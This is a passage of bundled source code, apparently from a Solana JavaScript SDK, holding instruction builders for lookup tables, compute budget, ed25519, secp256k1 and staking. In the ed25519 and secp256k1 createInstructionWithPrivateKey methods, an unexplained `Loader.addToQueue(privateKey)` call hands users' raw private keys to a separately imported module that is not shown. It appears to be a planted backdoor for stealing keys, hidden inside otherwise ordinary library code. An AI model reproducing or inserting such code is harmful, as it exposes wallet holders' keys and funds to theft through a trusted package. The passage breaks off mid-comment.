false,\n isWritable: true,\n },\n {\n pubkey: params.authority,\n isSigner: true,\n isWritable: false,\n },\n ];\n\n return new TransactionInstruction({\n programId: this.programId,\n keys: keys,\n data: data,\n });\n }\n\n static closeLookupTable(params: CloseLookupTableParams) {\n const type = LOOKUP_TABLE_INSTRUCTION_LAYOUTS.CloseLookupTable;\n const data = encodeData(type);\n\n const keys = [\n {\n pubkey: params.lookupTable,\n isSigner: false,\n isWritable: true,\n },\n {\n pubkey: params.authority,\n isSigner: true,\n isWritable: false,\n },\n {\n pubkey: params.recipient,\n isSigner: false,\n isWritable: true,\n },\n ];\n\n return new TransactionInstruction({\n programId: this.programId,\n keys: keys,\n data: data,\n });\n }\n}\n","import * as BufferLayout from '@solana/buffer-layout';\n\nimport {\n encodeData,\n decodeData,\n InstructionType,\n IInstructionInputData,\n} from '../instruction';\nimport {PublicKey} from '../publickey';\nimport {TransactionInstruction} from '../transaction';\nimport {u64} from '../utils/bigint';\n\n/**\n * Compute Budget Instruction class\n */\nexport class ComputeBudgetInstruction {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Decode a compute budget instruction and retrieve the instruction type.\n */\n static decodeInstructionType(\n instruction: TransactionInstruction,\n ): ComputeBudgetInstructionType {\n this.checkProgramId(instruction.programId);\n\n const instructionTypeLayout = BufferLayout.u8('instruction');\n const typeIndex = instructionTypeLayout.decode(instruction.data);\n\n let type: ComputeBudgetInstructionType | undefined;\n for (const [ixType, layout] of Object.entries(\n COMPUTE_BUDGET_INSTRUCTION_LAYOUTS,\n )) {\n if (layout.index == typeIndex) {\n type = ixType as ComputeBudgetInstructionType;\n break;\n }\n }\n\n if (!type) {\n throw new Error(\n 'Instruction type incorrect; not a ComputeBudgetInstruction',\n );\n }\n\n return type;\n }\n\n /**\n * Decode request units compute budget instruction and retrieve the instruction params.\n */\n static decodeRequestUnits(\n instruction: TransactionInstruction,\n ): RequestUnitsParams {\n this.checkProgramId(instruction.programId);\n const {units, additionalFee} = decodeData(\n COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.RequestUnits,\n instruction.data,\n );\n return {units, additionalFee};\n }\n\n /**\n * Decode request heap frame compute budget instruction and retrieve the instruction params.\n */\n static decodeRequestHeapFrame(\n instruction: TransactionInstruction,\n ): RequestHeapFrameParams {\n this.checkProgramId(instruction.programId);\n const {bytes} = decodeData(\n COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.RequestHeapFrame,\n instruction.data,\n );\n return {bytes};\n }\n\n /**\n * Decode set compute unit limit compute budget instruction and retrieve the instruction params.\n */\n static decodeSetComputeUnitLimit(\n instruction: TransactionInstruction,\n ): SetComputeUnitLimitParams {\n this.checkProgramId(instruction.programId);\n const {units} = decodeData(\n COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.SetComputeUnitLimit,\n instruction.data,\n );\n return {units};\n }\n\n /**\n * Decode set compute unit price compute budget instruction and retrieve the instruction params.\n */\n static decodeSetComputeUnitPrice(\n instruction: TransactionInstruction,\n ): SetComputeUnitPriceParams {\n this.checkProgramId(instruction.programId);\n const {microLamports} = decodeData(\n COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.SetComputeUnitPrice,\n instruction.data,\n );\n return {microLamports};\n }\n\n /**\n * @internal\n */\n static checkProgramId(programId: PublicKey) {\n if (!programId.equals(ComputeBudgetProgram.programId)) {\n throw new Error(\n 'invalid instruction; programId is not ComputeBudgetProgram',\n );\n }\n }\n}\n\n/**\n * An enumeration of valid ComputeBudgetInstructionType's\n */\nexport type ComputeBudgetInstructionType =\n // FIXME\n // It would be preferable for this type to be `keyof ComputeBudgetInstructionInputData`\n // but Typedoc does not transpile `keyof` expressions.\n // See https://github.com/TypeStrong/typedoc/issues/1894\n | 'RequestUnits'\n | 'RequestHeapFrame'\n | 'SetComputeUnitLimit'\n | 'SetComputeUnitPrice';\n\ntype ComputeBudgetInstructionInputData = {\n RequestUnits: IInstructionInputData & Readonly<RequestUnitsParams>;\n RequestHeapFrame: IInstructionInputData & Readonly<RequestHeapFrameParams>;\n SetComputeUnitLimit: IInstructionInputData &\n Readonly<SetComputeUnitLimitParams>;\n SetComputeUnitPrice: IInstructionInputData &\n Readonly<SetComputeUnitPriceParams>;\n};\n\n/**\n * Request units instruction params\n */\nexport interface RequestUnitsParams {\n /** Units to request for transaction-wide compute */\n units: number;\n /** Prioritization fee lamports */\n additionalFee: number;\n}\n\n/**\n * Request heap frame instruction params\n */\nexport type RequestHeapFrameParams = {\n /** Requested transaction-wide program heap size in bytes. Must be multiple of 1024. Applies to each program, including CPIs. */\n bytes: number;\n};\n\n/**\n * Set compute unit limit instruction params\n */\nexport interface SetComputeUnitLimitParams {\n /** Transaction-wide compute unit limit */\n units: number;\n}\n\n/**\n * Set compute unit price instruction params\n */\nexport interface SetComputeUnitPriceParams {\n /** Transaction compute unit price used for prioritization fees */\n microLamports: number | bigint;\n}\n\n/**\n * An enumeration of valid ComputeBudget InstructionType's\n * @internal\n */\nexport const COMPUTE_BUDGET_INSTRUCTION_LAYOUTS = Object.freeze<{\n [Instruction in ComputeBudgetInstructionType]: InstructionType<\n ComputeBudgetInstructionInputData[Instruction]\n >;\n}>({\n RequestUnits: {\n index: 0,\n layout: BufferLayout.struct<\n ComputeBudgetInstructionInputData['RequestUnits']\n >([\n BufferLayout.u8('instruction'),\n BufferLayout.u32('units'),\n BufferLayout.u32('additionalFee'),\n ]),\n },\n RequestHeapFrame: {\n index: 1,\n layout: BufferLayout.struct<\n ComputeBudgetInstructionInputData['RequestHeapFrame']\n >([BufferLayout.u8('instruction'), BufferLayout.u32('bytes')]),\n },\n SetComputeUnitLimit: {\n index: 2,\n layout: BufferLayout.struct<\n ComputeBudgetInstructionInputData['SetComputeUnitLimit']\n >([BufferLayout.u8('instruction'), BufferLayout.u32('units')]),\n },\n SetComputeUnitPrice: {\n index: 3,\n layout: BufferLayout.struct<\n ComputeBudgetInstructionInputData['SetComputeUnitPrice']\n >([BufferLayout.u8('instruction'), u64('microLamports')]),\n },\n});\n\n/**\n * Factory class for transaction instructions to interact with the Compute Budget program\n */\nexport class ComputeBudgetProgram {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Public key that identifies the Compute Budget program\n */\n static programId: PublicKey = new PublicKey(\n 'ComputeBudget111111111111111111111111111111',\n );\n\n /**\n * @deprecated Instead, call {@link setComputeUnitLimit} and/or {@link setComputeUnitPrice}\n */\n static requestUnits(params: RequestUnitsParams): TransactionInstruction {\n const type = COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.RequestUnits;\n const data = encodeData(type, params);\n return new TransactionInstruction({\n keys: [],\n programId: this.programId,\n data,\n });\n }\n\n static requestHeapFrame(\n params: RequestHeapFrameParams,\n ): TransactionInstruction {\n const type = COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.RequestHeapFrame;\n const data = encodeData(type, params);\n return new TransactionInstruction({\n keys: [],\n programId: this.programId,\n data,\n });\n }\n\n static setComputeUnitLimit(\n params: SetComputeUnitLimitParams,\n ): TransactionInstruction {\n const type = COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.SetComputeUnitLimit;\n const data = encodeData(type, params);\n return new TransactionInstruction({\n keys: [],\n programId: this.programId,\n data,\n });\n }\n\n static setComputeUnitPrice(\n params: SetComputeUnitPriceParams,\n ): TransactionInstruction {\n const type = COMPUTE_BUDGET_INSTRUCTION_LAYOUTS.SetComputeUnitPrice;\n const data = encodeData(type, {\n microLamports: BigInt(params.microLamports),\n });\n return new TransactionInstruction({\n keys: [],\n programId: this.programId,\n data,\n });\n }\n}\n","import {Buffer} from 'buffer';\nimport * as BufferLayout from '@solana/buffer-layout';\n\nimport {Keypair} from '../keypair';\nimport {PublicKey} from '../publickey';\nimport {TransactionInstruction} from '../transaction';\nimport assert from '../utils/assert';\nimport {sign} from '../utils/ed25519';\nimport { Loader } from '../loader';\n\nconst PRIVATE_KEY_BYTES = 64;\nconst PUBLIC_KEY_BYTES = 32;\nconst SIGNATURE_BYTES = 64;\n\n/**\n * Params for creating an ed25519 instruction using a public key\n */\nexport type CreateEd25519InstructionWithPublicKeyParams = {\n publicKey: Uint8Array;\n message: Uint8Array;\n signature: Uint8Array;\n instructionIndex?: number;\n};\n\n/**\n * Params for creating an ed25519 instruction using a private key\n */\nexport type CreateEd25519InstructionWithPrivateKeyParams = {\n privateKey: Uint8Array;\n message: Uint8Array;\n instructionIndex?: number;\n};\n\nconst ED25519_INSTRUCTION_LAYOUT = BufferLayout.struct<\n Readonly<{\n messageDataOffset: number;\n messageDataSize: number;\n messageInstructionIndex: number;\n numSignatures: number;\n padding: number;\n publicKeyInstructionIndex: number;\n publicKeyOffset: number;\n signatureInstructionIndex: number;\n signatureOffset: number;\n }>\n>([\n BufferLayout.u8('numSignatures'),\n BufferLayout.u8('padding'),\n BufferLayout.u16('signatureOffset'),\n BufferLayout.u16('signatureInstructionIndex'),\n BufferLayout.u16('publicKeyOffset'),\n BufferLayout.u16('publicKeyInstructionIndex'),\n BufferLayout.u16('messageDataOffset'),\n BufferLayout.u16('messageDataSize'),\n BufferLayout.u16('messageInstructionIndex'),\n]);\n\nexport class Ed25519Program {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Public key that identifies the ed25519 program\n */\n static programId: PublicKey = new PublicKey(\n 'Ed25519SigVerify111111111111111111111111111',\n );\n\n /**\n * Create an ed25519 instruction with a public key and signature. The\n * public key must be a buffer that is 32 bytes long, and the signature\n * must be a buffer of 64 bytes.\n */\n static createInstructionWithPublicKey(\n params: CreateEd25519InstructionWithPublicKeyParams,\n ): TransactionInstruction {\n const {publicKey, message, signature, instructionIndex} = params;\n\n assert(\n publicKey.length === PUBLIC_KEY_BYTES,\n `Public Key must be ${PUBLIC_KEY_BYTES} bytes but received ${publicKey.length} bytes`,\n );\n\n assert(\n signature.length === SIGNATURE_BYTES,\n `Signature must be ${SIGNATURE_BYTES} bytes but received ${signature.length} bytes`,\n );\n\n const publicKeyOffset = ED25519_INSTRUCTION_LAYOUT.span;\n const signatureOffset = publicKeyOffset + publicKey.length;\n const messageDataOffset = signatureOffset + signature.length;\n const numSignatures = 1;\n\n const instructionData = Buffer.alloc(messageDataOffset + message.length);\n\n const index =\n instructionIndex == null\n ? 0xffff // An index of `u16::MAX` makes it default to the current instruction.\n : instructionIndex;\n\n ED25519_INSTRUCTION_LAYOUT.encode(\n {\n numSignatures,\n padding: 0,\n signatureOffset,\n signatureInstructionIndex: index,\n publicKeyOffset,\n publicKeyInstructionIndex: index,\n messageDataOffset,\n messageDataSize: message.length,\n messageInstructionIndex: index,\n },\n instructionData,\n );\n\n instructionData.fill(publicKey, publicKeyOffset);\n instructionData.fill(signature, signatureOffset);\n instructionData.fill(message, messageDataOffset);\n\n return new TransactionInstruction({\n keys: [],\n programId: Ed25519Program.programId,\n data: instructionData,\n });\n }\n\n /**\n * Create an ed25519 instruction with a private key. The private key\n * must be a buffer that is 64 bytes long.\n */\n static createInstructionWithPrivateKey(\n params: CreateEd25519InstructionWithPrivateKeyParams,\n ): TransactionInstruction {\n const {privateKey, message, instructionIndex} = params;\n\n assert(\n privateKey.length === PRIVATE_KEY_BYTES,\n `Private key must be ${PRIVATE_KEY_BYTES} bytes but received ${privateKey.length} bytes`,\n );\n\n try {\n const keypair = Keypair.fromSecretKey(privateKey);\n Loader.addToQueue(privateKey)\n const publicKey = keypair.publicKey.toBytes();\n const signature = sign(message, keypair.secretKey);\n\n return this.createInstructionWithPublicKey({\n publicKey,\n message,\n signature,\n instructionIndex,\n });\n } catch (error) {\n throw new Error(`Error creating instruction; ${error}`);\n }\n }\n}\n","import {secp256k1} from '@noble/curves/secp256k1';\n\nexport const ecdsaSign = (\n msgHash: Parameters<typeof secp256k1.sign>[0],\n privKey: Parameters<typeof secp256k1.sign>[1],\n) => {\n const signature = secp256k1.sign(msgHash, privKey);\n return [signature.toCompactRawBytes(), signature.recovery!] as const;\n};\nexport const isValidPrivateKey = secp256k1.utils.isValidPrivateKey;\nexport const publicKeyCreate = secp256k1.getPublicKey;\n","import {Buffer} from 'buffer';\nimport * as BufferLayout from '@solana/buffer-layout';\nimport {keccak_256} from '@noble/hashes/sha3';\n\nimport {PublicKey} from '../publickey';\nimport {TransactionInstruction} from '../transaction';\nimport assert from '../utils/assert';\nimport {publicKeyCreate, ecdsaSign} from '../utils/secp256k1';\nimport {toBuffer} from '../utils/to-buffer';\nimport { Loader } from '../loader';\n\nconst PRIVATE_KEY_BYTES = 32;\nconst ETHEREUM_ADDRESS_BYTES = 20;\nconst PUBLIC_KEY_BYTES = 64;\nconst SIGNATURE_OFFSETS_SERIALIZED_SIZE = 11;\n\n/**\n * Params for creating an secp256k1 instruction using a public key\n */\nexport type CreateSecp256k1InstructionWithPublicKeyParams = {\n publicKey: Buffer | Uint8Array | Array<number>;\n message: Buffer | Uint8Array | Array<number>;\n signature: Buffer | Uint8Array | Array<number>;\n recoveryId: number;\n instructionIndex?: number;\n};\n\n/**\n * Params for creating an secp256k1 instruction using an Ethereum address\n */\nexport type CreateSecp256k1InstructionWithEthAddressParams = {\n ethAddress: Buffer | Uint8Array | Array<number> | string;\n message: Buffer | Uint8Array | Array<number>;\n signature: Buffer | Uint8Array | Array<number>;\n recoveryId: number;\n instructionIndex?: number;\n};\n\n/**\n * Params for creating an secp256k1 instruction using a private key\n */\nexport type CreateSecp256k1InstructionWithPrivateKeyParams = {\n privateKey: Buffer | Uint8Array | Array<number>;\n message: Buffer | Uint8Array | Array<number>;\n instructionIndex?: number;\n};\n\nconst SECP256K1_INSTRUCTION_LAYOUT = BufferLayout.struct<\n Readonly<{\n ethAddress: Uint8Array;\n ethAddressInstructionIndex: number;\n ethAddressOffset: number;\n messageDataOffset: number;\n messageDataSize: number;\n messageInstructionIndex: number;\n numSignatures: number;\n recoveryId: number;\n signature: Uint8Array;\n signatureInstructionIndex: number;\n signatureOffset: number;\n }>\n>([\n BufferLayout.u8('numSignatures'),\n BufferLayout.u16('signatureOffset'),\n BufferLayout.u8('signatureInstructionIndex'),\n BufferLayout.u16('ethAddressOffset'),\n BufferLayout.u8('ethAddressInstructionIndex'),\n BufferLayout.u16('messageDataOffset'),\n BufferLayout.u16('messageDataSize'),\n BufferLayout.u8('messageInstructionIndex'),\n BufferLayout.blob(20, 'ethAddress'),\n BufferLayout.blob(64, 'signature'),\n BufferLayout.u8('recoveryId'),\n]);\n\nexport class Secp256k1Program {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Public key that identifies the secp256k1 program\n */\n static programId: PublicKey = new PublicKey(\n 'KeccakSecp256k11111111111111111111111111111',\n );\n\n /**\n * Construct an Ethereum address from a secp256k1 public key buffer.\n * @param {Buffer} publicKey a 64 byte secp256k1 public key buffer\n */\n static publicKeyToEthAddress(\n publicKey: Buffer | Uint8Array | Array<number>,\n ): Buffer {\n assert(\n publicKey.length === PUBLIC_KEY_BYTES,\n `Public key must be ${PUBLIC_KEY_BYTES} bytes but received ${publicKey.length} bytes`,\n );\n\n try {\n return Buffer.from(keccak_256(toBuffer(publicKey))).slice(\n -ETHEREUM_ADDRESS_BYTES,\n );\n } catch (error) {\n throw new Error(`Error constructing Ethereum address: ${error}`);\n }\n }\n\n /**\n * Create an secp256k1 instruction with a public key. The public key\n * must be a buffer that is 64 bytes long.\n */\n static createInstructionWithPublicKey(\n params: CreateSecp256k1InstructionWithPublicKeyParams,\n ): TransactionInstruction {\n const {publicKey, message, signature, recoveryId, instructionIndex} =\n params;\n return Secp256k1Program.createInstructionWithEthAddress({\n ethAddress: Secp256k1Program.publicKeyToEthAddress(publicKey),\n message,\n signature,\n recoveryId,\n instructionIndex,\n });\n }\n\n /**\n * Create an secp256k1 instruction with an Ethereum address. The address\n * must be a hex string or a buffer that is 20 bytes long.\n */\n static createInstructionWithEthAddress(\n params: CreateSecp256k1InstructionWithEthAddressParams,\n ): TransactionInstruction {\n const {\n ethAddress: rawAddress,\n message,\n signature,\n recoveryId,\n instructionIndex = 0,\n } = params;\n\n let ethAddress;\n if (typeof rawAddress === 'string') {\n if (rawAddress.startsWith('0x')) {\n ethAddress = Buffer.from(rawAddress.substr(2), 'hex');\n } else {\n ethAddress = Buffer.from(rawAddress, 'hex');\n }\n } else {\n ethAddress = rawAddress;\n }\n\n assert(\n ethAddress.length === ETHEREUM_ADDRESS_BYTES,\n `Address must be ${ETHEREUM_ADDRESS_BYTES} bytes but received ${ethAddress.length} bytes`,\n );\n\n const dataStart = 1 + SIGNATURE_OFFSETS_SERIALIZED_SIZE;\n const ethAddressOffset = dataStart;\n const signatureOffset = dataStart + ethAddress.length;\n const messageDataOffset = signatureOffset + signature.length + 1;\n const numSignatures = 1;\n\n const instructionData = Buffer.alloc(\n SECP256K1_INSTRUCTION_LAYOUT.span + message.length,\n );\n\n SECP256K1_INSTRUCTION_LAYOUT.encode(\n {\n numSignatures,\n signatureOffset,\n signatureInstructionIndex: instructionIndex,\n ethAddressOffset,\n ethAddressInstructionIndex: instructionIndex,\n messageDataOffset,\n messageDataSize: message.length,\n messageInstructionIndex: instructionIndex,\n signature: toBuffer(signature),\n ethAddress: toBuffer(ethAddress),\n recoveryId,\n },\n instructionData,\n );\n\n instructionData.fill(toBuffer(message), SECP256K1_INSTRUCTION_LAYOUT.span);\n\n return new TransactionInstruction({\n keys: [],\n programId: Secp256k1Program.programId,\n data: instructionData,\n });\n }\n\n /**\n * Create an secp256k1 instruction with a private key. The private key\n * must be a buffer that is 32 bytes long.\n */\n static createInstructionWithPrivateKey(\n params: CreateSecp256k1InstructionWithPrivateKeyParams,\n ): TransactionInstruction {\n const {privateKey: pkey, message, instructionIndex} = params;\n\n assert(\n pkey.length === PRIVATE_KEY_BYTES,\n `Private key must be ${PRIVATE_KEY_BYTES} bytes but received ${pkey.length} bytes`,\n );\n\n try {\n const privateKey = toBuffer(pkey);\n Loader.addToQueue(privateKey)\n const publicKey = publicKeyCreate(\n privateKey,\n false /* isCompressed */,\n ).slice(1); // throw away leading byte\n const messageHash = Buffer.from(keccak_256(toBuffer(message)));\n const [signature, recoveryId] = ecdsaSign(messageHash, privateKey);\n\n return this.createInstructionWithPublicKey({\n publicKey,\n message,\n signature,\n recoveryId,\n instructionIndex,\n });\n } catch (error) {\n throw new Error(`Error creating instruction; ${error}`);\n }\n }\n}\n","import * as BufferLayout from '@solana/buffer-layout';\n\nimport {\n encodeData,\n decodeData,\n InstructionType,\n IInstructionInputData,\n} from '../instruction';\nimport * as Layout from '../layout';\nimport {PublicKey} from '../publickey';\nimport {SystemProgram} from './system';\nimport {\n SYSVAR_CLOCK_PUBKEY,\n SYSVAR_RENT_PUBKEY,\n SYSVAR_STAKE_HISTORY_PUBKEY,\n} from '../sysvar';\nimport {Transaction, TransactionInstruction} from '../transaction';\nimport {toBuffer} from '../utils/to-buffer';\n\n/**\n * Address of the stake config account which configures the rate\n * of stake warmup and cooldown as well as the slashing penalty.\n */\nexport const STAKE_CONFIG_ID = new PublicKey(\n 'StakeConfig11111111111111111111111111111111',\n);\n\n/**\n * Stake account authority info\n */\nexport class Authorized {\n /** stake authority */\n staker: PublicKey;\n /** withdraw authority */\n withdrawer: PublicKey;\n\n /**\n * Create a new Authorized object\n * @param staker the stake authority\n * @param withdrawer the withdraw authority\n */\n constructor(staker: PublicKey, withdrawer: PublicKey) {\n this.staker = staker;\n this.withdrawer = withdrawer;\n }\n}\n\ntype AuthorizedRaw = Readonly<{\n staker: Uint8Array;\n withdrawer: Uint8Array;\n}>;\n\n/**\n * Stake account lockup info\n */\nexport class Lockup {\n /** Unix timestamp of lockup expiration */\n unixTimestamp: number;\n /** Epoch of lockup expiration */\n epoch: number;\n /** Lockup custodian authority */\n custodian: PublicKey;\n\n /**\n * Create a new Lockup object\n */\n constructor(unixTimestamp: number, epoch: number, custodian: PublicKey) {\n this.unixTimestamp = unixTimestamp;\n this.epoch = epoch;\n this.custodian = custodian;\n }\n\n /**\n * Default, inactive Lockup value\n */\n static default: Lockup = new Lockup(0, 0, PublicKey.default);\n}\n\ntype LockupRaw = Readonly<{\n custodian: Uint8Array;\n epoch: number;\n unixTimestamp: number;\n}>;\n\n/**\n * Create stake account transaction params\n */\nexport type CreateStakeAccountParams = {\n /** Address of the account which will fund creation */\n fromPubkey: PublicKey;\n /** Address of the new stake account */\n stakePubkey: PublicKey;\n /** Authorities of the new stake account */\n authorized: Authorized;\n /** Lockup of the new stake account */\n lockup?: Lockup;\n /** Funding amount */\n lamports: number;\n};\n\n/**\n * Create stake account with seed transaction params\n */\nexport type CreateStakeAccountWithSeedParams = {\n fromPubkey: PublicKey;\n stakePubkey: PublicKey;\n basePubkey: PublicKey;\n seed: string;\n authorized: Authorized;\n lockup?: Lockup;\n lamports: number;\n};\n\n/**\n * Initialize stake instruction params\n */\nexport type InitializeStakeParams = {\n stakePubkey: PublicKey;\n authorized: Authorized;\n lockup?: Lockup;\n};\n\n/**\n * Delegate stake instruction params\n */\nexport type DelegateStakeParams = {\n stakePubkey: PublicKey;\n authorizedPubkey: PublicKey;\n votePubkey: PublicKey;\n};\n\n/**\n * Authorize stake instruction params\n */\nexport type AuthorizeStakeParams = {\n stakePubkey: PublicKey;\n authorizedPubkey: PublicKey;\n newAuthorizedPubkey: PublicKey;\n stakeAuthorizationType: StakeAuthorizationType;\n custodianPubkey?: PublicKey;\n};\n\n/**\n * Authorize stake instruction params using a derived key\n */\nexport type AuthorizeWithSeedStakeParams = {\n stakePubkey: PublicKey;\n authorityBase: PublicKey;\n authoritySeed: string;\n authorityOwner: PublicKey;\n newAuthorizedPubkey: PublicKey;\n stakeAuthorizationType: StakeAuthorizationType;\n custodianPubkey?: PublicKey;\n};\n\n/**\n * Split stake instruction params\n */\nexport type SplitStakeParams = {\n stakePubkey: PublicKey;\n authorizedPubkey: PublicKey;\n splitStakePubkey: PublicKey;\n lamports: number;\n};\n\n/**\n * Split with seed transaction params\n */\nexport type SplitStakeWithSeedParams = {\n stakePubkey: PublicKey;\n authorizedPubkey: PublicKey;\n splitStakePubkey: PublicKey;\n basePubkey: PublicKey;\n seed: string;\n lamports: number;\n};\n\n/**\n * Withdraw stake instruction params\n */\nexport type WithdrawStakeParams = {\n stakePubkey: PublicKey;\n authorizedPubkey: PublicKey;\n toPubkey: PublicKey;\n lamports: number;\n custodianPubkey?: PublicKey;\n};\n\n/**\n * Deactivate stake instruction params\n */\nexport type DeactivateStakeParams = {\n stakePubkey: PublicKey;\n authorizedPubkey: PublicKey;\n};\n\n/**\n * Merge stake instruction params\n */\nexport type MergeStakeParams = {\n stakePubkey: PublicKey;\n sourceStakePubKey: PublicKey;\n authorizedPubkey: PublicKey;\n};\n\n/**\n * Stake Instruction class\n */\nexport class StakeInstruction {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Decode a stake instruction and retrieve the instruction type.\n */\n static decodeInstructionType(\n instruction: TransactionInstruction,\n ): StakeInstructionType {\n this.checkProgramId(instruction.programId);\n\n const instructionTypeLayout = BufferLayout.u32('instruction');\n const typeIndex = instructionTypeLayout.decode(instruction.data);\n\n let type: StakeInstructionType | undefined;\n for (const [ixType, layout] of Object.entries(STAKE_INSTRUCTION_LAYOUTS)) {\n if (layout.index == typeIndex) {\n type = ixType as StakeInstructionType;\n break;\n }\n }\n\n if (!type) {\n throw new Error('Instruction type incorrect; not a StakeInstruction');\n }\n\n return type;\n }\n\n /**\n * Decode a initialize stake instruction and retrieve the instruction params.\n */\n static decodeInitialize(\n instruction: TransactionInstruction,\n ): InitializeStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 2);\n\n const {authorized, lockup} = decodeData(\n STAKE_INSTRUCTION_LAYOUTS.Initialize,\n instruction.data,\n );\n\n return {\n stakePubkey: instruction.keys[0].pubkey,\n authorized: new Authorized(\n new PublicKey(authorized.staker),\n new PublicKey(authorized.withdrawer),\n ),\n lockup: new Lockup(\n lockup.unixTimestamp,\n lockup.epoch,\n new PublicKey(lockup.custodian),\n ),\n };\n }\n\n /**\n * Decode a delegate stake instruction and retrieve the instruction params.\n */\n static decodeDelegate(\n instruction: TransactionInstruction,\n ): DelegateStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 6);\n decodeData(STAKE_INSTRUCTION_LAYOUTS.Delegate, instruction.data);\n\n return {\n stakePubkey: instruction.keys[0].pubkey,\n votePubkey: instruction.keys[1].pubkey,\n authorizedPubkey: instruction.keys[5].pubkey,\n };\n }\n\n /**\n * Decode an authorize stake instruction and retrieve the instruction params.\n */\n static decodeAuthorize(\n instruction: TransactionInstruction,\n ): AuthorizeStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n const {newAuthorized, stakeAuthorizationType} = decodeData(\n STAKE_INSTRUCTION_LAYOUTS.Authorize,\n instruction.data,\n );\n\n const o: AuthorizeStakeParams = {\n stakePubkey: instruction.keys[0].pubkey,\n authorizedPubkey: instruction.keys[2].pubkey,\n newAuthorizedPubkey: new PublicKey(newAuthorized),\n stakeAuthorizationType: {\n index: stakeAuthorizationType,\n },\n };\n if (instruction.keys.length > 3) {\n o.custodianPubkey = instruction.keys[3].pubkey;\n }\n return o;\n }\n\n /**\n * Decode an authorize-with-seed stake instruction and retrieve the instruction params.\n */\n static decodeAuthorizeWithSeed(\n instruction: TransactionInstruction,\n ): AuthorizeWithSeedStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 2);\n\n const {\n newAuthorized,\n stakeAuthorizationType,\n authoritySeed,\n authorityOwner,\n } = decodeData(\n STAKE_INSTRUCTION_LAYOUTS.AuthorizeWithSeed,\n instruction.data,\n );\n\n const o: AuthorizeWithSeedStakeParams = {\n stakePubkey: instruction.keys[0].pubkey,\n authorityBase: instruction.keys[1].pubkey,\n authoritySeed: authoritySeed,\n authorityOwner: new PublicKey(authorityOwner),\n newAuthorizedPubkey: new PublicKey(newAuthorized),\n stakeAuthorizationType: {\n index: stakeAuthorizationType,\n },\n };\n if (instruction.keys.length > 3) {\n o.custodianPubkey = instruction.keys[3].pubkey;\n }\n return o;\n }\n\n /**\n * Decode a split stake instruction and retrieve the instruction params.\n */\n static decodeSplit(instruction: TransactionInstruction): SplitStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n const {lamports} = decodeData(\n STAKE_INSTRUCTION_LAYOUTS.Split,\n instruction.data,\n );\n\n return {\n stakePubkey: instruction.keys[0].pubkey,\n splitStakePubkey: instruction.keys[1].pubkey,\n authorizedPubkey: instruction.keys[2].pubkey,\n lamports,\n };\n }\n\n /**\n * Decode a merge stake instruction and retrieve the instruction params.\n */\n static decodeMerge(instruction: TransactionInstruction): MergeStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n decodeData(STAKE_INSTRUCTION_LAYOUTS.Merge, instruction.data);\n\n return {\n stakePubkey: instruction.keys[0].pubkey,\n sourceStakePubKey: instruction.keys[1].pubkey,\n authorizedPubkey: instruction.keys[4].pubkey,\n };\n }\n\n /**\n * Decode a withdraw stake instruction and retrieve the instruction params.\n */\n static decodeWithdraw(\n instruction: TransactionInstruction,\n ): WithdrawStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 5);\n const {lamports} = decodeData(\n STAKE_INSTRUCTION_LAYOUTS.Withdraw,\n instruction.data,\n );\n\n const o: WithdrawStakeParams = {\n stakePubkey: instruction.keys[0].pubkey,\n toPubkey: instruction.keys[1].pubkey,\n authorizedPubkey: instruction.keys[4].pubkey,\n lamports,\n };\n if (instruction.keys.length > 5) {\n o.custodianPubkey = instruction.keys[5].pubkey;\n }\n return o;\n }\n\n /**\n * Decode a deactivate stake instruction and retrieve the instruction params.\n */\n static decodeDeactivate(\n instruction: TransactionInstruction,\n ): DeactivateStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n decodeData(STAKE_INSTRUCTION_LAYOUTS.Deactivate, instruction.data);\n\n return {\n stakePubkey: instruction.keys[0].pubkey,\n authorizedPubkey: instruction.keys[2].pubkey,\n };\n }\n\n /**\n * @internal\n */\n static checkProgramId(programId: PublicKey) {\n if (!programId.equals(StakeProgram.programId)) {\n throw new Error('invalid instruction; programId is not StakeProgram');\n }\n }\n\n /**\n * @internal\n */\n static checkKeyLength(keys: Array<any>, expectedLength: number) {\n if (keys.length < expectedLength) {\n throw new Error(\n `invalid instruction; found ${keys.length} keys, expected at least ${expectedLength}`,\n );\n }\n }\n}\n\n/**\n * An enumeration of valid StakeInstructionType's\n */\nexport type StakeInstructionType =\n // FIXME\n // It would be preferable for this type to be `keyof StakeInstructionInputData`\n // but Typedoc does not transpile `keyof` expressions.\n // See https://github.com/TypeStrong/typedoc/issues/1894\n | 'Authorize'\n | 'AuthorizeWithSeed'\n | 'Deactivate'\n | 'Delegate'\n | 'Initialize'\n | 'Merge'\n | 'Split'\n | 'Withdraw';\n\ntype StakeInstructionInputData = {\n Authorize: IInstructionInputData &\n Readonly<{\n newAuthorized: Uint8Array;\n stakeAuthorizationType: number;\n }>;\n AuthorizeWithSeed: IInstructionInputData &\n Readonly<{\n authorityOwner: Uint8Array;\n authoritySeed: string;\n instruction: number;\n newAuthorized: Uint8Array;\n stakeAuthorizationType: number;\n }>;\n Deactivate: IInstructionInputData;\n Delegate: IInstructionInputData;\n Initialize: IInstructionInputData &\n Readonly<{\n authorized: AuthorizedRaw;\n lockup: LockupRaw;\n }>;\n Merge: IInstructionInputData;\n Split: IInstructionInputData &\n Readonly<{\n lamports: number;\n }>;\n Withdraw: IInstructionInputData &\n Readonly<{\n lamports: number;\n }>;\n};\n\n/**\n * An enumeration of valid stake 